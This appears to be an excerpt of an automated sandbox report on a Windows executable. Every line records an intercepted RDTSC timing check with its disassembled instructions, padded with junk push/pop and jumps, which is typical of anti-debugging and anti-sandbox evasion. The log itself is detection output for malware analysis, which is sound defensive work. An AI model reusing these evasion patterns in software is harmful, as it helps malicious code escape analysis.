Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 71404F second address: 714055 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 714055 second address: 714059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 714059 second address: 71407D instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3331238816h 0x00000008 jmp 00007F3331238827h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 71407D second address: 714085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 71B78A second address: 71B7C6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 je 00007F3331238816h 0x00000009 pop ecx 0x0000000a jo 00007F333123881Eh 0x00000010 pushad 0x00000011 popad 0x00000012 jne 00007F3331238816h 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pushad 0x0000001b jmp 00007F3331238828h 0x00000020 pushad 0x00000021 jnl 00007F3331238816h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 719817 second address: 719837 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F333124C7E2h 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 719837 second address: 719841 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3331238816h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 7199E3 second address: 7199EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 71A379 second address: 71A383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F3331238816h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 71A383 second address: 71A387 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 71ABBA second address: 71ABD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007F3331238816h 0x0000000c popad 0x0000000d jng 00007F333123881Ch 0x00000013 jp 00007F3331238816h 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 71ABD7 second address: 71ABDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 71ABDB second address: 71ABF6 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3331238816h 0x00000008 jmp 00007F333123881Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 71ABF6 second address: 71ABFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 71ABFC second address: 71AC00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 71AC00 second address: 71AC0A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F333124C7D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 71AC0A second address: 71AC26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3331238820h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 71AC26 second address: 71AC3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F333124C7DEh 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 71B4A0 second address: 71B4A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 71B4A6 second address: 71B4AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 724072 second address: 7240A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3331238824h 0x00000007 push ecx 0x00000008 jmp 00007F3331238825h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 724386 second address: 72438B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 72438B second address: 7243C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jc 00007F3331238816h 0x0000000c popad 0x0000000d jg 00007F3331238826h 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F333123881Eh 0x0000001a pop edx 0x0000001b pop eax 0x0000001c pushad 0x0000001d jmp 00007F3331238825h 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 72485E second address: 72489A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F333124C7F1h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F333124C7E7h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 72613A second address: 72613E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 72613E second address: 726189 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007F333124C7E5h 0x0000000c jno 00007F333124C7D6h 0x00000012 pop ebx 0x00000013 pop esi 0x00000014 pushad 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 popad 0x0000001a jne 00007F333124C7D6h 0x00000020 popad 0x00000021 pushad 0x00000022 je 00007F333124C7D6h 0x00000028 je 00007F333124C7D6h 0x0000002e jc 00007F333124C7D6h 0x00000034 popad 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 726189 second address: 72618D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6708D4 second address: 6708F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F333124C7E8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 72C33D second address: 72C341 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 72C341 second address: 72C345 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 72C345 second address: 72C368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F3331238816h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F3331238824h 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 72C808 second address: 72C848 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jng 00007F333124C7D6h 0x0000000f pop esi 0x00000010 jo 00007F333124C7DEh 0x00000016 jns 00007F333124C7D6h 0x0000001c pushad 0x0000001d popad 0x0000001e jne 00007F333124C7DEh 0x00000024 popad 0x00000025 pushad 0x00000026 jmp 00007F333124C7DEh 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 72C848 second address: 72C84C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 72C84C second address: 72C863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F333124C7DFh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 72C863 second address: 72C867 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 72C9A7 second address: 72C9C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F333124C7E8h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 72CDEF second address: 72CDF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 72CDF4 second address: 72CE0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F333124C7DFh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 72DF3D second address: 72DF4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F3331238816h 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 72DF4F second address: 72DF53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 72DF53 second address: 72DF67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F3331238822h 0x0000000c jng 00007F3331238816h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 736CC6 second address: 736CCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 736CCA second address: 736CD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 736CD3 second address: 736CDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 736CDA second address: 736CE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 736848 second address: 73685E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 js 00007F333124C7D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 ja 00007F333124C7D6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 73685E second address: 736862 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 678CE5 second address: 678CFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F333124C7D6h 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jg 00007F333124C7D6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 678CFC second address: 678D01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 748FCB second address: 748FEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333124C7E8h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 748FEE second address: 748FF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 748FF5 second address: 748FFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 748FFA second address: 74902A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F333123881Eh 0x00000009 jp 00007F3331238816h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 jmp 00007F3331238823h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 752A94 second address: 752AA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F333124C7D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 757950 second address: 757964 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3331238820h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 757964 second address: 757968 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 75AAC8 second address: 75AAD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F3331238816h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 75D592 second address: 75D5B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333124C7E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007F333124C7DCh 0x0000000f jnl 00007F333124C7D6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 7693B1 second address: 7693B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 7693B5 second address: 7693BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 7693BB second address: 7693D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3331238826h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 7693D9 second address: 7693EF instructions: 0x00000000 rdtsc 0x00000002 je 00007F333124C7D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 7693EF second address: 7693F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 7693F7 second address: 7693FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 76809D second address: 7680AC instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3331238818h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 76905D second address: 769069 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F333124C7D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 769069 second address: 76906D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 76906D second address: 769082 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F333124C7D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jg 00007F333124C7DCh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 769082 second address: 76909E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jng 00007F3331238816h 0x0000000b jnp 00007F3331238816h 0x00000011 jo 00007F3331238816h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 76909E second address: 7690A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F333124C7D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 76B56C second address: 76B580 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F333123881Ah 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 76B580 second address: 76B58A instructions: 0x00000000 rdtsc 0x00000002 js 00007F333124C7DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 76B58A second address: 76B59C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F333123881Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 76B59C second address: 76B5A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 76D20D second address: 76D213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 76D213 second address: 76D218 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 779ECC second address: 779ED4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 779D57 second address: 779D87 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F333124C7DCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c pushad 0x0000000d jmp 00007F333124C7DCh 0x00000012 pushad 0x00000013 jmp 00007F333124C7DDh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 779D87 second address: 779D8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 77DA76 second address: 77DA7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 77DA7C second address: 77DA9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3331238816h 0x0000000a popad 0x0000000b jmp 00007F3331238828h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 7773A5 second address: 7773AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 78A8AC second address: 78A8BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push esi 0x00000006 push ebx 0x00000007 jl 00007F3331238816h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 78C46C second address: 78C470 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 78C470 second address: 78C486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F333123881Ch 0x0000000c jnc 00007F3331238816h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 67F89B second address: 67F8A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push esi 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 67F8A5 second address: 67F8B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a pop ecx 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 67F8B3 second address: 67F8DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F333124C7D6h 0x0000000a pop esi 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F333124C7E9h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 67F8DB second address: 67F8DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 67F8DF second address: 67F8E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 67F8E5 second address: 67F8F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jns 00007F3331238816h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
